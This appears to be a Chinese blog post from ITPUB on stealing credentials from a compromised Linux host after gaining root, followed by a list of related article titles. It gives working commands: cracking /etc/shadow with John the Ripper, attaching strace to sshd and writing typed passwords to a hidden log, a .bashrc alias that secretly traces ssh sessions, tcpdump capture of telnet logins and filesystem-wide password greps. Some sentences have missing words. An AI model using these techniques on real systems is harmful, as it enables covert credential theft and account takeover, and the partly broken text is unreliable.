Linux下密碼憑證竊取技巧和工具介紹
當獲得一臺主機的root許可權,我們總是會想辦法透過收集各種密碼憑證,以便繼續擴大戰果。 下的環境,相對比更純粹一些,介紹幾個比較常見的技巧和工具。 |
關鍵詞:憑證竊取、口令收集、密碼抓取、密碼嗅探
會自動把使用者的操作 記錄到歷史列表中,當使用者在 行中輸入賬號、密碼進行登入時,將會導致敏感資訊洩露。
shadow用於儲存 Linux 系統中使用者的密碼資訊,以一個用例來說明:
root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0::0:99999:7:::
密碼域密文由三部分組成,即:$idsalt$encrypted。當id=1,採用md5進行加密,弱口令容易被破解。
當id為5時,採用SHA256進行加密,id為6時,採用SHA512進行加密,可以透過john進行暴力破解。
wget tar -zxvf john-1.9.0.tar.gz make clean linux-x86-64 ./john /etc/shadow
一款Linux下的密碼抓取神器,需要root許可權執行,透過轉儲程式並提取很可能包含明文密碼的行來利用記憶體中的明文憑證,目前支援Kali、Ubnutu等作業系統。
Github地址:
strace是一個動態跟蹤工具,堪比鍵盤記錄器的存在,可用來收集登入憑證。
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
使用正在來匹配使用者和密碼
# 查詢使用者名稱和密碼 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 結果形式如下 [pid 2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid 2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid 2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 新增命令別名 vi ~/.bashrc或者/etc/bashrc alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh' # 使命令別名立即生效 source ~/.bashrc
透過grep 找到匹配行的後8行,可以根據密碼長度調整行數
grep -A 9 'password' .ssh-25Sep091601017212.log
抓取資料包進行分析,獲取明文賬號密碼,比如ftp、telnet、http。
tcpdump -i ens33 port 23 -w test.cap
全域性搜尋配置檔案、 、資料庫、日誌檔案是否有包含密碼。
grep -rn "password=" /
一個用於自動進行Linux交換分析bash ,自動進行交換提取,並搜尋Linux使用者憑據,Web表單憑據,Web表單電子郵件,HTTP基本身份驗證,WiFi SSID和金鑰等。
github專案地址:
一個利用C語言編寫,用來竊取linux下各類密碼(ssh,su,sudo)的工具。
原文地址:
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31559985/viewspace-2727702/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 介紹Linux小技巧,如何實現免密碼登入Linux密碼
- 密碼是如何被竊取的密碼
- 使用代理通過使用者名稱和密碼驗證優缺點介紹密碼
- 程式碼管理工具-Git基礎介紹及常用技巧Git
- iOS逆向(4)-程式碼注入,非越獄竊取微信密碼iOS密碼
- 任意使用者密碼重置(一):重置憑證洩漏密碼
- Linux中一些 Sed命令技巧介紹Linux
- steam密碼忘了怎麼辦 steam密碼找回方法介紹密碼
- Chrome瀏覽器擴充套件程式可竊取明文密碼Chrome瀏覽器套件密碼
- Linux監控平臺介紹 zabbix監控介紹 安裝zabbix 忘記Admin密碼如何做Linux密碼
- 原始碼管理工具——GitHub的介紹和使用原始碼Github
- 任意使用者密碼重置(五):重置憑證可暴破密碼
- 【Linux】jq 命令介紹和使用Linux
- Linux Boot,Kernel 和 Service 介紹Linuxboot
- SAP憑證的類別和記賬碼
- NPM開原始碼庫惡意軟體包可透過Chrome的帳戶恢復工具竊取密碼NPM原始碼Chrome密碼
- pbootcms忘記後臺密碼,重置管理密碼的辦法和工具下載!boot密碼
- 如何獲取 jenkins 中的憑證Jenkins
- Linux shell 指令碼基礎介紹Linux指令碼
- 任意使用者密碼重置(二):重置憑證接收端可篡改密碼
- Linux中重定向和管道介紹Linux
- 密碼安全和無密碼身份認證那些事兒密碼
- OutputStreamWriter介紹&程式碼實現和InputStreamReader介紹&程式碼實現
- 【Linux】Linux版本介紹(核心版本和發行版本)Linux
- 原始碼管理工具Github介紹原始碼Github
- 原始碼管理工具介紹-github原始碼Github
- 後滲透:遠端憑證獲取
- Google guava工具類的介紹和使用GoGuava
- PG實用工具推薦和介紹
- 介紹 Linux 中的管道和命名管道Linux
- Linux常用初級指令介紹和使用Linux
- etcdctl工具介紹
- 動態密碼演算法介紹與實現密碼演算法
- Kali Linux介紹Linux
- 全球最大社交新聞站點Reddit證實,其原始碼和內部資料遭竊取原始碼
- redis快取介紹Redis快取
- Linux下MySql密碼忘了怎麼辦?LinuxMySql密碼
- Linux下設定redis訪問密碼LinuxRedis密碼